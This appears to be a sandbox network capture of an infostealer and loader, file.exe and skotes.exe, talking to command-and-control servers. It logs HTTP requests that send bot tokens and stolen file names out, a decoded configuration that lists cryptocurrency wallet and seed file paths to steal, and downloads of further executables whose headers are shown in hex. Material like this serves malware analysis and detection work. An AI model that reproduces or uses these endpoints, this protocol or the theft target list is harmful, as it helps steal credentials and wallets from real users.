Nov 18, 2024 13:29:38.350846052 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGHDGHCGHDHJKFBFBK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="message"wallets------JKEGHDGHCGHDHJKFBFBK--
Nov 18, 2024 13:29:38.632842064 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 18, 2024 13:29:38.635571003 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="message"files------JECBGCFHCFIDHIDHDGDG--
Nov 18, 2024 13:29:38.937480927 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 13:29:38.951009989 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="file"------EHJDGHJDBFIJKECAECAF--
Nov 18, 2024 13:29:39.723417997 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 13:29:39.755948067 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="message"ybncbhylepme------DAFBGHCAKKFCAKEBKJKK--
Nov 18, 2024 13:29:40.037628889 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49829	185.215.113.16	80	7804	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:29:40.046741962 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 18, 2024 13:29:40.951841116 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:29:40 GMT Content-Type: application/octet-stream Content-Length: 1911808 Last-Modified: Mon, 18 Nov 2024 11:54:36 GMT Connection: keep-alive ETag: "673b2afc-1d2c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@LK@WkH8KK @.rsrcH@.idata @ +@tgzacnml1@senxdaimK@.taggant0K"@
Nov 18, 2024 13:29:40.951862097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:29:40.951875925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:29:40.951941013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:29:40.951962948 CET	448	IN	Data Raw: 44 02 6a 16 06 8c ba 4c a5 61 5e 1a 4a 65 dc ee d6 6d f2 59 4e bf b9 e8 f7 df d5 34 05 43 da c9 98 07 4d e1 95 47 66 d6 01 48 7e d8 75 5e 6d f2 65 2f 9a 96 31 69 39 6b 96 2e ea 45 fe 0c da ea 75 c3 0e 27 1e 88 3e ea 07 ec e7 d7 b5 2e 22 24 07 e8 Data Ascii: DjLa^JemYN4CMGfH~u^me/1i9k.Eu'>."$I]Lb#>&e)G{1E_<IZe^88dxD:Uv=S/p2.[u)k'~Y]'-^ywjVfs_>(%ile7<6c8v
Nov 18, 2024 13:29:40.951977015 CET	1236	IN	Data Raw: d5 6c 46 78 0d 2f 56 26 5f 68 f2 c9 29 78 4d 95 85 7f 2a ea 05 6b 3e 30 e5 c3 3c aa 06 ac 15 32 c6 5f f2 bd 02 c7 99 f4 5d 2f 9a 8a 38 d2 7c 9a 61 bd da ed 04 63 b9 38 36 2e 2d cf 45 5e 52 12 7a 6b 6e ab 05 5e aa 06 f9 7f 91 a2 27 7b d8 34 65 43 Data Ascii: lFx/V&_h)xMk>0<2_]/8\|ac86.-E^Rzkn^'{4eC)G(~U/s9<GyK'.x^z%H]KJi9:GF~fY9O2$g6X=}c8V/S#&_/il3:8GuUNes
Nov 18, 2024 13:29:40.951992989 CET	1236	IN	Data Raw: 14 4f 78 8d 26 a2 c1 19 2c fb 91 b7 ee f0 22 9c 4d 3d 75 d1 d8 43 42 1e 77 fe 3c a2 e4 e6 bb 57 0e 1f 5d 9f 57 c5 92 ed 17 d8 4a 64 a7 3e 0e 0f 4e 89 2a c4 c8 cd 8d cf 48 02 74 71 a6 f1 7b 4b a2 41 2a 87 5d 7b 0e 14 09 20 52 d8 0b 9e 6b 3e 80 2f Data Ascii: Ox&,"M=uCBw<W]WJd>NHtq{KA]{ Rk>/>[&=WjPW^0~F4IJ`W!-~+;V:Cwp'+/n(,(g'=:b6[gj:2/4G97LEP%FC,N3(`z.
Nov 18, 2024 13:29:40.952028990 CET	1236	IN	Data Raw: 48 43 65 e0 4b 58 28 7a e1 ff a8 76 68 85 2a 91 77 2e 2c 06 de b6 41 89 46 06 2a e6 0b 0e 01 8d 38 de da 25 ea 59 c7 7a 0d 10 08 d4 87 16 d4 35 5f f8 6b 3e 31 42 2b eb 27 01 a1 99 09 c4 b6 37 df f5 8f 0b f7 6a 5f 0f ee bf b5 97 5e 03 ba ea 36 43 Data Ascii: HCeKX(zvhw.,AF8%Yz5_k>1B+'7j_^6C>`@^Aj8%Zkb/Q,f:hDC=l^dA%\|am'CS:)qJJu'3@\Ia&@"gG-M?e9,m>='MQ-
Nov 18, 2024 13:29:40.952073097 CET	1236	IN	Data Raw: 52 61 4a 94 e0 a7 dd 86 3b 8b cb d9 34 b8 40 0a 4c 3c dd 01 97 5a f6 8c 27 b9 db 09 4a 33 1c 02 d8 96 bd 15 96 1a fb a2 51 ad 1a 83 10 53 fd a5 15 03 2b 46 49 bd 5e 1c de c2 41 f0 34 78 c8 b5 1e bb 15 d2 88 01 fe 95 07 d0 95 db e7 c3 4d 1a d9 ec Data Ascii: RaJ;4@L<Z'J3QS+FI^A4xMy>"G1}gE_T:~}.{{MPj~fZHjIq!]m-.nx=&]^uNo#/X=~W?<4IuJ="/<$C(
Nov 18, 2024 13:29:40.952086926 CET	1236	IN	Data Raw: 76 a4 f3 3f 37 a2 cb 14 b4 00 07 6e 01 f5 e0 38 a9 fe ab 54 10 fa 9a e3 dd 09 d9 1e af f5 ca 16 9d c9 d8 e4 10 1e 3a d1 62 48 05 95 72 8a 34 bd f8 a3 f5 a9 c5 03 13 ca 1a ea f8 a6 f0 da c7 c7 89 3e 32 4c b9 73 b2 3e ee 74 b6 1e c6 df eb 71 f1 20 Data Ascii: v?7n8T:bHr4>2Ls>tq ?kZ\|=6,"_$E 'e?^<soJwcd,P9T'076/9<,%ojA@FxP:O;O
Nov 18, 2024 13:29:40.956991911 CET	1236	IN	Data Raw: 56 4d 4e d2 46 52 86 c1 b5 43 c7 79 f6 70 ea 27 d6 bc 9a 93 5d b4 63 5c 5a 7c 34 f5 4b 4a fc 12 4f 90 88 da 85 45 72 02 69 df 1e 02 29 be 0a 5f aa 9c 06 46 6c 29 db 63 5f b1 3e 2d 9a 2f 00 00 e9 97 ec b8 97 96 1c cb 79 77 e1 93 69 8e a7 83 26 40 Data Ascii: VMNFRCyp']c\Z\|4KJOEri)_Fl)c_>-/ywi&@{\q\RPESG'_%Q+^%~c[AD<*31@]8Zn)u5Nm}}a^UAZ+2U_;\|{{I$BIdY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49835	185.215.113.206	80	7804	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:29:46.404226065 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAAEBKEGHJKEBFHJDBF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HCAAEBKEGHJKEBFHJDBF--
Nov 18, 2024 13:29:47.828099012 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49837	185.215.113.43	80	8296	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:04.692610979 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 13:30:05.606031895 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:30:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49838	185.215.113.43	80	8296	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:07.117331028 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 18, 2024 13:30:08.070780993 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:30:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 31 34 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 31 34 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 31 35 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 31 35 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1007148001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007149001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007150001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007151001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007152001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49839	31.41.244.11	80	8296	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:08.090121984 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 18, 2024 13:30:08.968259096 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:30:08 GMT Content-Type: application/octet-stream Content-Length: 4413440 Last-Modified: Mon, 18 Nov 2024 10:26:11 GMT Connection: keep-alive ETag: "673b1643-435800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 00 ba 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 ba 00 00 04 00 00 6b 8b 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 